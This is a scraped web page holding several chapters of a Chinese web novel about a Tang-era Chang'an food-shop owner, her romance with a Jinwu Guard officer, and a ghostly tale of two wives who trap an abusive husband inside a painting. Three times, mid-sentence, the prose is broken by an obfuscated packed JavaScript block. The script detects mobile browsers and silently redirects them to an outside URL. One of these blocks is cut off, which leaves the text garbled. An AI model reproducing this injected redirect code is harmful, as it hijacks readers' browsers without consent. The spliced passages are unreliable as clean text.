甄回拱拱手：“还是娘子聪慧，那书肆我也去过，圣贤书不多，美人图倒是挂了不少，那怪谈一出来，书肆的美人图被哄抢，价格抬到千金之高，可许多书生都对着图喊美人闺名了，也没见真有美人从图上下来，可见这故事定是假的。” 众人正说着话，阿盘回来坐下，手上还拿着几个铜钱:“刚刚那位夫人说我心善，定要给我些钱作为回报。” 她似乎也颇多不满意，抱怨道：“妇人一人拉扯婴儿多不容易，那赵郎君竟然像没事人一样在那饮酒作乐。” 段大娘已经喝得熏熏，打了个酒嗝道：“此事古已有之。” 又说一回话，见日头紧了，众人站起来准备回别馆。 段知微在食肆做了一年饭，终于轮到别人给自己做饭了，开心地吃了两碗栗米饭，其余人嫌这别馆东西味道一般，都只吃了一些不肯再用，而后便去到春池边，池里飘满了兰草，段大娘拿上一枝杨柳沾上水，点在阿盘额头，口里念诵着平安消灾。 那赵郎君的夫人戴氏也在一侧，她的脸皮色有些蜡黄，算不得漂亮，但是行为举止都很端庄，她踌躇半日，而后走过来问段知微一行人，能不能也为她行一下修禊之礼。 这礼做着又不难，况且段大娘确实对这位不受丈夫关爱的女子生出极多的同情，因此便一口应下，然后拿着杨柳枝在她身上洒起水来。 众人排着队行完修禊之礼，一同回了别馆，那位赵郎君也揽着妾氏珍珍回来了，想来定是也春浴过了，那珍珍确实是个美人，明眸善睐，一身珠光宝气，望向戴氏后眼珠儿一转：“今夜正是春时月明之际，若有桃花温酒一壶你我共饮岂不美哉？” 赵郎君满口应是，而后扭头对着戴氏道：“听到没有，还不快去！” 戴氏默不作声地走了，段知微赶紧也跟了过去，望见她用一小炭炉慢火煮酒，于是道：“赵夫人，妾身是开食肆的，煮酒我熟，我来帮你吧。” 戴氏谢过后叹口气：“不必叫妾赵夫人了，我哪儿有个夫人的样呢，妾身小名兰草，叫我名字便可。” 段知微不知道要如何安慰她才好，只得道：“今日上巳，佩戴兰草也是种习俗，夫人这名和上巳节还挺契合。” 兰草夫人道：“妾出生时候便是上巳，因此爹娘给妾取名兰草。” 生辰这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922043|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日无人在意，还要去给丈夫和小妾煮酒，段知微觉得她好可怜，一不留神，竟泼了些酒酒在手臂上。 兰草夫人很是抱歉过来给她擦擦手臂，所幸温度不高，甚至连个红印子都没留下。 这边二人散了，段知微回到房，蒲桃和阿盘已经睡着，段大娘躺着摇着蒲扇，望一眼段知微后了然道：“行了，别杵在这了，跟个桩子似的。” 言下之意不言而喻，段知微不太好意思，只提了裙子悄悄走了。 上巳还未结束，今夜她还要夜会一下情郎。 坐在门口等袁慎己时，她竟然晕乎乎睡着了。 梦中到了一片桃花林，这确实是个粉色的绮梦，林外喧嚣被层层叠叠的粉色花枝阻隔，时间仿佛也在此刻停摆。 只是她孤独一个人隐匿花海之下，抬头可见遮天蔽日的繁花，姑母不见了，食肆的大家也见不到了，还有袁慎己也找不到了...... 她心下生出一丝慌乱来，好像只有她一个留在这桃花林里，此后千年要一直守着这岁岁的春光。 一只温暖的手轻柔拍打她的脸庞，坚定又温柔呼唤她的名字，段知微终于从梦中逃脱，睁眼便看到袁慎己担心的脸。 “你这痴儿，怎么在门口便睡着了。”袁慎己将她揽在怀中。他终于完成了公务，快马赶过来，就看到她斜倚在一棵柳树下睡着。 段知微揉揉眼睛,看清是他，后怕道：“做了个噩梦......” 别馆早早为这位金吾卫统领预留好了房间，段知微跟着他进去。 袁慎己忽然解下蹀躞带上的兰草：“今日上巳，当行修禊之礼。” 他将兰叶系成个精巧的结，别到段知微耳边，《韩诗》有云‘郑国之俗，三月上巳，之溱洧两水之上，执兰招魂续魄。’ 而后摸摸段知微的头安慰道：“这下不会做噩梦了。” 已然深夜，后院的春池边空无一人，唯有一轮明月照林间，此刻春池正冒着袅袅热气。 袁慎己此刻卸了甲，越发显得肩宽背阔，段知微垫脚去折岸边杨柳枝想给他祓禊来消除禳除灾疠，不想这池边青石板打磨的光滑，又沾了不少水渍，她脚下一滑掉进了池子里。 春日乍暖，她只穿了轻薄的轻纱襦裙，温泉水勾勒出玲珑身形，一头乌发只松松簪了跟木棍子，现在在水中如瀑散开，她赶紧把身子沉下去，只露出个脑袋在水面上。 袁慎己想到刚刚那惊鸿一眼的美景，不由从心里生出一丝燥热蔓延到四肢百骸。 今夜月色如霜，倾洒在这山间春池上，泛起粼粼微光，氤氲的水汽袅袅升腾，如同一方仙境。 少顷，袁慎己也缓缓踏入，步伐沉稳。入水时，他的喉结滚动，水珠顺着刚毅的下颌线滑落，没入胸膛。 他那张脸生得极好，剑眉星目，只是常年征战让他的轮廓过于冷硬，此刻他平日的冷厉消散不踪，温和下来不少，此刻只剩眸底的火焰在跳动。 段知微看痴了一会儿，又反应过来，不太好意思的低下头，却见他的衣领松散开来，缝隙里隐约可见结实的胸肌，上面布满了大大小小的疤痕。 她愣了一下，而后心疼的去抚他的伤疤：“一定很疼吧？” 袁慎己眸色温柔，手揉揉她的头发道：“结痂了，不疼了。” 他见过边关的风裹挟着黄沙呼啸而过，也独自在营帐里处理过箭伤，现在终于有个人愿意走到他身前，担心问他：“你受过的这些伤，疼吗？” 她突然坏笑着掬起一捧水泼到他身上而后道：“涤旧荡新，袁慎己以后定然顺顺利利。” 被溅了一身水，他也不恼，眼底满是笑意，只顺势单手握住她的手腕轻按在泉边岩石上，把她揽进怀里，吻上那双令他魂牵梦绕，清甜如蜜的唇。 良久袁慎己松开，只听到他说：“很快便是清明了。” 段知微不知他为何提及清明，只好附和道：“是啊，马上就是清明了。” 袁慎己道：“过了清明，我去食肆提亲。” 春池雾气似乎更浓了，仿若尘世纷扰皆被这一池暖泉隔绝在外。 不同于这对爱侣间的温存，戴兰草捧着一壶桃花酒进到房屋内，赵郎君已经靠在床榻上睡着了，珍珍接过酒，对她妩媚一笑道：“知道姐姐最擅酿酒，有劳姐姐了。” 戴兰草终于卸下那副凄苦的柔弱样，换上一个同样意味不明的笑：“这酒熬煮了半日，一定记得喝啊......妹妹。” 60. 第六十章 与画中人同行 赵源刚中进士的时候，十里八乡都来找戴兰草献上祝贺，大抵都是在夸她命好，夫君年纪轻轻便中了进士，此后仕途定然也是一片坦途。 她不做声，只安静地听，偶尔露出一个温婉浅笑。 这日赵源兴致勃勃拿了一幅挂画回来。 画中是一片盛放的桃林，粉白的花瓣如云似霞，层层叠叠地铺展开来，桃林正中央是一位清丽绝俗的美人，她手中轻握一枝桃花，笑眼盈盈望着画外。 赵源眼中生成一丝狂热来，大叹“美人如花隔云端”，并且说，那书肆肆主说了：“只要每日轻呼美人名字，凑满一百日，再往画上浇上百草酒，美人便能从画中走下来。” 只不过这位赵郎君很是没有耐心，不过新鲜了几日，便把那画丢开到一旁去了。毕竟，比起冰冷的画，还是平康坊的娘子更加温柔小意。 再说了，谁知道书肆肆主这话真的假的，左不过又是哄骗人买画的把戏。 他日日宿在平康坊，家中只剩了戴兰草一人，收拾屋子打理花草，偶尔还需做些针线活补贴家用。 他们住的房子不大，戴兰草偶尔在篱笆围起来的小院子里洗衣，偶尔在堂屋里穿针引线，觉得寂寞了，也只有挂着的那幅画陪伴她，她就对着画说说话。 端午包了蜜枣粽、寒食制了寒食粥，她都会拿上一份放到画前面，跟画里的珍珍说说话，谈谈春日的桃花，元宵的花灯，幻想一下踏青郊游是怎么样的快乐滋味，再畅想一下打马球是怎样激烈壮观的活动。 日子不咸不淡的过着，偶尔戴兰草会觉得画中的珍珍在对着她微笑，但那应该是夜晚烛光的错觉，有时赵源难得回家，恶声恶气命她去火房煮上一碗青菜馎饦。而后开始一如往常般念念叨叨。 说她长得不够美，嫌她家世一般，父母只是普通农民，他已是进士，于他在仕途上全无助益。全然忘了她嫁过来时，他也是一无所有。 喝多了酒，他还要打人。 她坐到地上挨着打，木然去看画，画中人一脸悲悯的望她。 像佛事会上见到的，悲悯世人的菩萨。 她生孩子那日是个夏日的暴雨天，刺眼的闪电划破天际，震耳欲聋的雷鸣响彻，仿佛天空被撕裂了一般，雨势凶猛。雨水顺着屋檐流下，形成一道道水帘，地面很快积起了水洼。 赵源依旧不在家，拿着她缝补做活的铜钱又去了平康坊。 她躺在床榻上痛得死去活来，也没办法起身去找产婆，最后只好抬起一只胳膊，像那幅画中美人求助。 书肆肆主说，每日同画讲话，呼唤她的名字，一百日后，画中美人自然会走下来。 眼前场景越来越模糊，戴兰草痛得晕过去前，觉得有人握住了她的手。 赵源得了个儿子，一个健康的儿子，他很高兴，那毕竟是个可以传宗接代的东西。更让他高兴地是，家中凭空多出个美人，发髻高耸，芙蓉映面，不知比家中糟糠美了多少。 只不过那挂在厅堂的美人画空了一块。 戴兰草也很高兴，终于有人愿意同她讲话了，有人在她做刺绣的时候帮她理线，在她侍弄花草的时候帮她拎水。 她觉得这样的日子过得很好，即使赵源再也不回来，她也能过得很快乐很幸福。 只是赵源回来了，硬要纳珍珍为妾，这位明眸善睐、珠钗摇曳，步履间透着优雅与从容的美人，他怎么可能肯放过。 她知自家这位丈夫人品低劣，并非良配，想悄悄放珍珍走。珍珍拦住她说：“姐姐，杀人虽犯唐律，但若我们把这个卑劣的郎君，永生永世关进画里怎么样......” 声音一如既往的温柔似水，像带了蛊。 那加了蛊的桃花酒须得小火慢熬，戴兰草本想一个人进火房，偏偏那好心又多事的段娘子热情过来帮忙，一小点桃花酒洒在她的肌肤上。 幸好量不多，加上并没有饮用，只是泼洒在肌肤上，应该只会产生一小会儿幻觉。而且，这桃花酒对旁人不会有效果。 因为药引是戴兰草的泪水，这泪水是赵源带给她的，又不是段知微带给她的。 一盅桃花酒被送到赵源面前，看着面前千娇百媚来劝酒的珍珍，赵源不疑有他，接过酒杯一饮而尽。 酒入喉中，甘甜清冽，却带着一丝若有若无的苦味。他正欲再饮，忽觉眼前一黑，便失去了知觉，倒了地上。 珍珍收起了笑，一脸冷漠抬起脚尖踹他，发现他真的一动也不动，便放心离开，墙上仍挂着那幅只有桃花林的挂画。 不知过了多久，赵源悠悠转醒，发现自己竟置身于一片绝美的桃花林中。 这桃花林里应是四月天，桃花盛放，落英缤纷，如雨水般洒落在地。远处有溪水潺潺，鸟语花香，仿佛人间仙境。 更令他惊喜的是，林中竟有许多美貌娘子，或端庄毓秀抚琴吟诗，或如胡姬金发碧眼跳着胡璇，但是个个都是姿容绝世，笑语嫣然，就连平康坊最负盛名的玉春楼也比不得这里。 赵源虽然心中有疑惑，以为自己误入了桃花源。但是很快狂喜便取代了这种疑惑。 他整日与这些女子嬉戏游玩，饮酒作乐，逍遥快活，仿佛忘却了世间一切烦恼。然而，一日这样、两日这样，他突然生出了一丝困惑，这些娘子虽对他百般温柔小意，却从不提及外界之事，也从未有人试图离开过这片桃花林。 赵源这才惊觉不对，从梦中醒来忽然惊醒。四周一片黑暗，他以为是房中未点灯，颇为不耐烦地呼唤兰草，让她进来点灯，顺便送一碗熏熏的茶进来。 只是无人应声。 赵源站了起来，四处一走，天光突然大亮。 他发现自己依然独自一人躺在桃树之下，四周空无一人。他慌忙起身，四处寻找，却只见那桃花依旧，美人却无影无踪。他心中惊恐，试图走出这片桃林，却发现无论怎么走，都会回到原地。这时，他才猛然想起那杯清冽却带着苦涩味道的桃花酒，想起珍珍在劝他饮下酒后的的诡异笑容。 他跌坐在地，抬头望向湛蓝天空，却发现空中的白云也如画卷般静止不动，连飞鸟也凝固在半空。他颤抖着伸手触摸身旁的桃树，树干竟如纸般轻薄，花瓣也毫无香气。 他这才明白，自己竟被那两名女子骗着关进了一幅画中，成了画中之人，永远困在这片虚幻的桃花林里。 远处，似乎传来一阵轻笑，他抬头，今日仿佛看到了戴兰草和珍珍的脸，戴兰草脸上弥漫的愁云与悲苦不见了，她如同傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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袁慎己见她眼下两个黑眼圈，颇觉好笑，只安慰道：“都是袁某的错，待回了长安，去东市的云来酒楼置办一桌好酒菜，给段娘子赔礼好不好。” 段知微开心点头，被段大娘拿着团扇一个暴栗。 一车人欢声笑语，很快便到了长安城门口，进城内需要过所，袁慎己骑着马先到前面去了，一长队的车等着进长安城。 坐了一路车，段大娘深深觉得自己腰不太行了，嚷嚷着要下车透口气，段知微只得先跳下车扶她。 一扭头，竟然发现昨日遇到的兰草夫人和珍珍也自后面的香车下来，段知微想着过去打个招呼。 二人背对着她小声在商议什么。 “回头找个剪子撕碎了吧，省得夜长梦多。”珍珍道 戴兰草有些犹豫：“到底多年夫妻，妾有些于心不忍......” 珍珍继续劝道：“那画确实栩栩如生，连别馆的小丫鬟都看出来了，若是被有心人看到......”她听到脚步声，止住了话头。 段知微不知道她们在谈论什么，只接过话头：“两位夫人日安。”她话锋一转，厚着脸皮道：“妾在宣阳坊开了一家小食肆，若是寒食清明需要寒食粥、艾草青团什么的，尽管来找妾，咱们都是熟人，定然给你们优惠。” 戴兰草刚准备开口，珍珍抢白道：“妾记下了，寒食清明一定去......段娘子说得话颇有道理......” 她手上似乎握着一幅卷起来，套着红丝带的画卷，珍珍笑着说：“清明乃大节，用来烧一些给故人的东西，那是最适合不过的了......” 61. 第六十一章 装修食肆 都说“清明时节雨纷纷”，春雨细密如丝，将整座长安城笼在一片朦胧之中，春闱正式落下了帷幕，食肆客人也不如二月那样爆满，段知微终于腾出手来把隔壁新入的脂粉铺子好好装修一番。 因为脂粉铺子比原先食肆的面积还要大些，因此段知微把原先铺子的火房全部搬到新的地方，原先食肆的堂屋全部打通，再粉刷粉刷，可以多放一些食案。 新火房里，瓦匠们砌起青砖灶台。段知微亲自挑选了上好的青石板铺地，既防滑又便于清洗。她在火房一角设了个小水池，引了井水进来，方便清洗食材。 墙角打造几排木架子，将铁锅、砂锅、各色肉菜蔬菜分类放好，用纱帐子罩好防止蚊虫，一个个装着各色腌菜的棕色缸子整齐码在墙角。 灶台对面设一张长案，用来揉面、切菜。 她在火房与堂食之间设了一传菜的小窗，挂上竹帘，既保持了通透，又增添了几分雅致。 段知微又去了趟东市，找泥匠给自家食肆铺砖，东市的砖类应有尽有，那种产自江南的御窑金砖，敲之有金石之声，再有那彩色琉璃砖，在阳光下有七彩的光亮，都是极美的，奈何价格实在是高。 段知微绕了好几个圈，最后还是选择了价位中等的淌白菱形纹的地砖。 堂食区的改造同样用心。原先的胭脂柜台被改造成点餐台，上面摆着一排竹制菜单牌。段知微请甄回画了几幅山水画，又添了几盆兰花，顿时让整个空间雅致起来。 也没动几日工，食肆便又重新开了张。解决了地方小的问题，段家食肆可算不会再门口大排长龙了。段知微坐在门口望望绵密而下的春雨，松口气。 寒食清明将近，来食肆定寒食粥、青团、馓子的食客多了起来。段知微在门口支了口大锅，让小狼站个木箱子专门来炸馓子。 这孩子长安话都说不利索，如今也只能勉强应个是，但是做饭的手艺倒是一等一的好，往往段知微教了一遍，他立刻便学会了。 就比如这炸馓子，需得把面剂子迅速拉扯搓捻，这是个细活儿，蒲桃第一次学把面搞得浑身都是，小狼就不一样了，那面剂子在他指尖极其灵动地跳跃，不一会儿就拉扯成了细密均匀的面线。 炸起来也有技巧，须得抱着每一根面丝都均匀受热了，他炸得很好，馓子油亮诱人，金黄酥脆，因此许多人站在油锅边上等新出炉的馓子。 可惜他无法与食客沟通，只能蒲桃站在一旁笑盈盈的跟食客们打招呼，收钱什么的。 这天又下了一整日的雨，空气都散发着萧瑟的寒气，段知微只好又把火盆拿出来取暖，瞅着今日约莫应该没什么生意了，正欲关门不想门口突然停了一辆朱轮华盖香车。 杜有容今日穿了身狐裘的大氅，头上悬着一不菲的瑟瑟珠，在丫鬟搀扶下进了食肆，特意挑了离火盆最近的地方坐下，毫不客气问段知微要上一盏滚烫的生姜红枣茶驱驱寒。 段知微只好拿了个小砂锅给她煮了些。 杜有容难得放下世家贵女的礼仪，接过一口气喝干，惨白的脸色这才好些了。 “这是怎么了？”段知微看她竟然一口闷了，不觉大为惊讶：“快要清明了，难不成被夺舍了？” 杜有容翻了个白眼：“有什么好酒好菜尽管上来，我饿得慌。” 这更奇了，钟鸣鼎食的裴家还能少了她的吃食？段知微想着，还是赶紧去了火房，张罗了一些饭菜。 一碟酸甜红亮的荔枝肉，一盅汤色浓郁奶白的腌笃鲜，一盘清爽的芦笋炒虾仁，再配上一碗栗米饭，看着卖相就好。 杜有容先吃了一口虾仁，虾仁鲜活有嚼劲，吃着弹牙，芦笋掐了老芽只留脆嫩的部分，吃着很是清甜。 再夹上一块荔枝肉，外皮炸过十分酥脆，咬下去酸甜的酱汁在味蕾间爆开。 她吃得又急又快，风卷残云一般把所有菜连同米饭吃掉，而后端起砂锅直接喝完了一盅腌笃鲜，里头的春笋、咸肉、百叶结也是一点都没放过。 段知微结巴道：“那......那裴家缺你吃食了？” 杜有容的贴身丫鬟黄莺也在一旁悄悄道：“娘子，在外面须得注意下礼仪，。若被裴家看到......” 杜有容不耐烦挥挥手：“若是让你饿着肚子去凶肆晃荡一圈，你怕是比我更冷更饿。” “凶肆？”段知微先是惊讶了一会，而后想到清明将至，便觉得正常：“你可是世族裴家新妇，买清明祭拜用品还需得你亲自去？” 没有肆主愿意跟凶肆当邻居，因此东西两市的凶肆都集中在一条街上。 凶肆门口大都摆着巨大的、纸扎的花，凶肆内有纸或者面团做的俑人，用来侍候的、用来护卫的还有那吹拉弹唱的俑人应有尽有。 清明将近，冷清的凶肆一条街也繁忙了起来，段知微前两日才被段大娘拉着去过，买一些金银纸回来自己折成元宝，用来祭奠逝去的亲人和祖先。 杜有容道：“不是祭祖的事儿，是裴君的姑母得了心疾，眼看着不行了，他与那姑母自小亲厚，让我亲自去挑一块好的碑石备着。” 段知微也不知接什么话，只得干巴巴一句：“你别伤心了......” 杜有容百无聊赖的坐着在看外面纷纷落下的绵密雨丝，闻言奇怪的看她一眼：“我伤心做什么？是裴君的姑母，又不是我的姑母。” 丫鬟黄莺正在吃段知微给的一块糕，闻言咳嗽了两声道：“我的好娘子，说话怎能如此不知轻重，这话被裴家听去了还得了！” “哎，这里又没有裴家人。”杜有容无奈叹口气，而后站起身来：“行了，天色晚了，我走了。” 段知微起身送她，看她上了那辆华贵的香车，车很快消失在了雨雾中。 第二日清晨，菜肆早早送了一车绿油油的艾草，段知微挑了几棵看看嫩芽，菜肆伙计在一旁道：“哎呦段娘子，我家送的菜您还不放心啊，这都是刚刚才收割的，您瞧，露水还挂叶子上呢。” 段知微小心翼翼地掐下最嫩的尖芽，指尖立刻染上了一抹青翠。见这艾草果然多汁，她放松下来笑道：“这有什么不放心的，回头用这艾草做了青团，也给你送上一份。” 伙计上道地拱拱手：“那感情好，方圆百里谁不知道您段家食肆的好吃食。” 他收了钱又行个礼离开了。 段知微立刻喊上食肆众人合力把艾草焯水去涩味，用干净的纱布捣碎滤掉渣，这是个体力活，又是个细致活。 众人忙了一上午，统共才成了一木桶绿油油的艾草汁，段知微将其倒入糯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951338|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米粉中，碧绿的汁液缓缓渗入糯米粉中，她反复揉搓摔打，渐渐将其揉成光滑的面团。她忙出了一身汗，一直摔到面团充满韧劲。 她把翠绿面皮给旁边围观的几人看：“要到这种程度外皮才软糯，青团才能好吃。” 众人在一旁点头。 目前主流的青团还只是豆沙的，段知微特意多做了些咸蛋黄、肉松、野菜的，咸甜两种，任君挑选。 这步段知微就不参与了，让蒲桃他们学着包，自己则把蒸笼架好，里头要铺上一层湿布，再给青团刷一层薄薄的油。 一个个青团整齐地排列在竹屉上，像极了春日里新生的嫩芽。 蒸笼里的水已经沸腾，白色的水汽袅袅升起。青团入笼，盖上竹盖。渐渐地，一股独特的香气从蒸笼缝隙中溢出，混合着艾草的清香和肉松的咸香。 "娘子，好香啊！"蒲桃忍不住凑近蒸笼，深深吸了一口气。 段知微笑着揭开竹盖，热气扑面而来。蒸熟的青团晶莹剔透，表皮泛着翡翠般的光泽。她用竹夹夹起一个，轻轻放在青瓷盘中。 咬开青团的瞬间，外皮的软糯与肉松的酥脆形成绝妙的对比。艾草的清香在口中弥漫，中和了肉松的油腻。咸香的肉松在舌尖化开，带着丝丝甜意，与糯米的清甜完美融合。 蒲桃已经顾不上烫，一连吃了两个。“娘子，这青团比我吃过的所有青团都好吃！”她含糊不清地说道，嘴角还沾着一点青色面团。 这青团刚出笼就大受欢迎。没想到野菜和肉松两种青团卖得最好，规矩的豆沙反而无人问津。 来食肆订购的隔壁肉肆的吴娘子道：“这豆沙的吃了多少年了，头一回吃到这肉松的，味道真是妙极了，别清明限定了，我看以后天天卖吧。” 段知微忙得不停手，只好说道：“若是街坊都喜欢，那自然可以天天拿出来卖了。” 忙碌到宵禁前夕，青团被抢购一空，段知微累了一日，往门牙子上一坐，看檐下雨水如柱般落下，阿盘几人揽下了暮食的活儿，在火房忙得热火朝天。 一俩做工讲究的马车突然停到段家食肆门口，从车上下来一管事模样的中年人，他身着藏青色菱形纹澜袍，看上去当是出自钟鸣鼎食之家。 他走进食肆，段知微抱歉道：“这位客官，马上就要宵禁了，我们要打烊了。” 管家对着段知微叉手为礼道：“是肆主吧，我不是来用暮食的，听闻肆主家做的好糕饼，我家马上有一场婚礼，须得订购些喜饼。” 段知微闻言道：“可以啊，您要哪种？” 说着拿过了食肆单子，自那任氏婚礼之后，她也接取了一些街坊成亲时用的糕饼，可以算是熟手了：“您看，做一套龙凤呈祥的喜糕如何？正是春日桃花繁盛之际，喜糕里包上蜜糖渍桃花，寓意‘桃之夭夭，灼灼其华’寓意也好，味道也好，您看如何。” 那管事虽然一举一动都极其有礼，身上穿的也是平民不可及的苏绸面貌，但他的脸上却毫无愉悦之色，只苦着脸道：“这位娘子，无需喜糕，您做上一箱青团便可，两日后我会差人来食肆里取。” 两日后便是清明了，谁家好人成亲用的喜糕是青团啊，段知微腹诽道。 而后她反应过来，不对，谁家好人选清明节成亲啊！ 62. 第六十二章 夜雨与火锅 春雨淅淅沥沥，敲打着食肆的屋檐，发出细碎的声响。段知微忙碌了一整日，终于得以沐浴更衣。她点燃一截蜡烛，昏黄的光晕笼罩着卧房，映出一片静谧来。 她坐在藤屉小胡床边，手持布巾，细细绞干长发。自入长安以来，她随波逐流，将青丝留至过腰，每次沐浴后，晾干头发便成了件极为费时的事。 忽然听到门外传来马蹄声，段知微心下一动，打了把油伞，提着灯笼出门观望。只见一道高大的身影已在食肆门口翻身下马，玄色澜袍被雨水浸透。 “你怎的来了？”她惊讶地看着来人。 袁慎己摘下斗笠，露出一张棱角分明的脸，雨水顺着他的下颌滑落，在烛光下泛着微光。 这人前两日还因为替同僚守朱雀大街而来食肆告过罪，段知微以为又要几日见不到他了，不想今夜他竟然冒着雨来了。 “路过此处，心中甚念美人肆主，特来讨碗热饮子喝。”他的声音略带沙哑，却含着几分笑意。 段知微面上一红，连忙将他拉进店内。袁慎己身上的水渍在地板上留下一串痕迹，她取来干净的布巾递给他，笑道：“都尉若不嫌弃，食肆有热水可沐浴。” 袁慎己接过布巾，目光在她脸上停留片刻，道：“那便叨扰了。” 火房尚烧着一锅热水，段知微取来一套干净的男子衣衫——这是她为偶尔留宿的袁慎己备下的。 屏风后传来哗啦啦的水声，段知微看向他带来的一篮樱桃，颗颗饱满圆润，表皮光滑细腻，宛如精心雕琢的红色玛瑙珠子。 她夹起一颗扔进嘴里，眉头皱了皱，这樱桃虽看着漂亮，却着实有些酸涩。她忽而想起什么，转身对着屏风道：“可用暮食了？ ” 袁慎己也不与她客套，直言道：“确实尚未用饭，不用那么麻烦，随意来两个胡饼便好。” 话虽如此，段知微却不能真的拿两个凉透的胡饼应付他。 毕竟，袁慎己在夜雨绵绵的深夜，穿过重重雾霭骑马来看她，这份心意还是十分令人感动的。 这夜里再给大灶台生火是定然行不通的，光是那个大风箱拉起来就得把整个食肆的人都给惊动了。 她想了一回，从火房的木架子上取来一个暖锅，放到桌上。汤底是清鸡汤，原是为明早煮馄饨备下的。 待袁慎己沐浴完毕，她已经支好了暖锅。鸡汤在锅中翻滚，香气四溢。各色食材整齐地摆放在青瓷盘中，翠绿的豆苗、雪白的豆腐、鲜红的肉片，在烛光下显得格外诱人。 袁慎己擦着头发从屏风后走出，衣襟微敞，露出若隐若现的胸肌，还带着未干的水珠。他的头发湿漉漉地披在肩上，几滴水珠顺着脖颈滑落，消失在衣襟深处。 空气中弥漫着淡淡的澡豆香，混合着他身上特有的气息。他的肌肤在烛光下泛着健康的光泽，结实的肌肉线条随着动作若隐若现。 段知微赶紧装模作样咳嗽两声，移开目光，而后红着脸把筷子塞进他手中：“不是说肚子饿了吗，赶紧用饭吧。” 窗上糊的油纸结了一层薄薄的雾气，将外头的寒风隔绝。火锅咕嘟咕嘟地冒着热气，鸡汤在锅中翻滚，溅起细小的油花。 袁慎己低笑一声，道：“这衣衫似乎小了些。” 段知微忙道：“不可能，按着你的身量做的，怎会小？除非你胖了……”她戛然而止，心知上了当。 袁慎己笑意更浓了些：“原是照着袁某量身定做的，方才定是我糊涂了。” 段知微气得瞪他一眼，见他刚放入锅中的豆苗，急道：“快捞起来，再煮便老了。” 袁慎己从善如流的用漏勺将豆苗捞起，蘸了些麻酱送入口中。芝麻酱的浓郁与豆苗的清甜在舌尖交织，他不由得眯起眼睛，赞道：“妙极。” 窗外雨声渐密，室内却暖意融融。两人相对而坐，铜锅中升腾的热气模糊了彼此的轮廓。袁慎己讲述着金吾卫的趣事，烛光摇曳，将两人的影子投在墙上，交织在一起。 吃完火锅，她又端上来些青团。 “这肉松青团倒是有趣。”袁慎己夹起一个青团，细细端详。 段知微点头道：“知你无肉不欢，尝尝吧。” 袁慎己咬了一口，外皮软糯，内馅咸香，不由得赞叹：“比宫里的御厨做得还要好。” “又在胡说。”段知微轻笑，忽而想起什么，问道：“不是说这几日需替同僚值守朱雀大街吗？怎的有空来我这小地方了？” 听闻金吾卫右中郎将刘沛的妻子患了心疾。据说命不久矣，那刘沛也算个爱妻之人，整个人身形枯槁下去，终日也不思上值，只一心守在妻子身旁。 但夜间巡防朱雀大街乃是重任，缺不得人，袁慎己只好一连几日夜间值守。 段知微有些心疼握住他的手，接连值夜，他确实有些憔悴了。 “不过听闻刘中郎将的妻子心疾突然好了”袁慎己道，脸上却没有喜色：“昨日我收到刘府送来的喜帖，说是中郎将的长子预备在后日成亲，邀我观礼。” “后日？那不是清明？”段知微想到什么，将宵禁前有位体面管家来订婚礼花糕之事给他一说。 清明成亲，本就蹊跷，更何况订的糕饼竟是青团与寒食糕。再有，心疾乃顽疾，岂能轻易痊愈？ 外头雨声渐大，似有山雨欲来之势。袁慎己用完暖锅，自觉收拾了桌子，细细净手漱口。他连日值夜，困倦至极，上了床榻不久便沉沉睡去。 段知微躺在外侧，被他一把揽入怀中。他的下巴轻轻搁在她的头顶，呼吸有些不稳：“待清明过后……我便来提亲。” 段知微感受着身后传来的温暖，听着屋外喧嚣的雨声，思绪如雨丝般飘散。身后传来的呼吸声如同一双温暖的手，抚在她心头上。她的眼皮渐重，缓缓沉入梦乡。 次日醒来，袁慎己已悄然离去。段知微昨夜睡得安稳，晨起时精神焕发，做起朝食来也格外有劲。 长安城的清晨，薄雾未散，食肆的烟囱已升起袅袅炊烟。段知微站在火房里，手中面团在她灵巧的揉捏下变得光滑细腻。案板上摆着一排排包好的小笼包，褶子均匀，小巧玲珑。 “娘子，油锅热了。”蒲桃在一旁提醒。 段知微将最后一个小笼包放入蒸笼，转身去看油锅。昨日的馓子给了她灵感，今日她准备做些油条。 眼见金黄的油面微微泛起涟漪，她将油条放入锅中，顿时响起“滋滋”的声响。油条条在油中舒展开来，渐渐变得金黄酥脆。 蒸笼里的小笼包也开始散发出诱人的香气，混合着葱花的清香与肉馅的鲜美。段知微揭开蒸笼盖，热气扑面而来，一个个包子白白胖胖，隐约可见里面饱满的馅料。 “豆浆也好了。”阿盘端着一大锅热气腾腾的豆浆从后院进来，浓郁的豆香顿时弥漫开来。 食肆的门刚打开，香味便飘了出去。很快，食客们蜂拥而至。 “段娘子，来一笼小笼包，一碗豆浆！” “这炸得脆脆的是何物？看着就好吃，来一个！” 食客们鱼贯而入，食肆内很快排起了长队。段知微穿梭在桌椅之间，将热气腾腾的朝食送到客人面前。 一辆香车停在食肆门口。 杜有容脸色郁郁，往食肆里一坐，立刻要了两屉小笼包，就一个人坐那全部吃掉了。 她嫁入裴家后，似乎有百般的不顺，那裴家规矩森严门风清贵，束得她喘不过气来。 她那些银红艳色的襦裙花饰全被压入箱底，成日只捡些素雅的颜色穿穿，把杜有容郁闷的够呛， 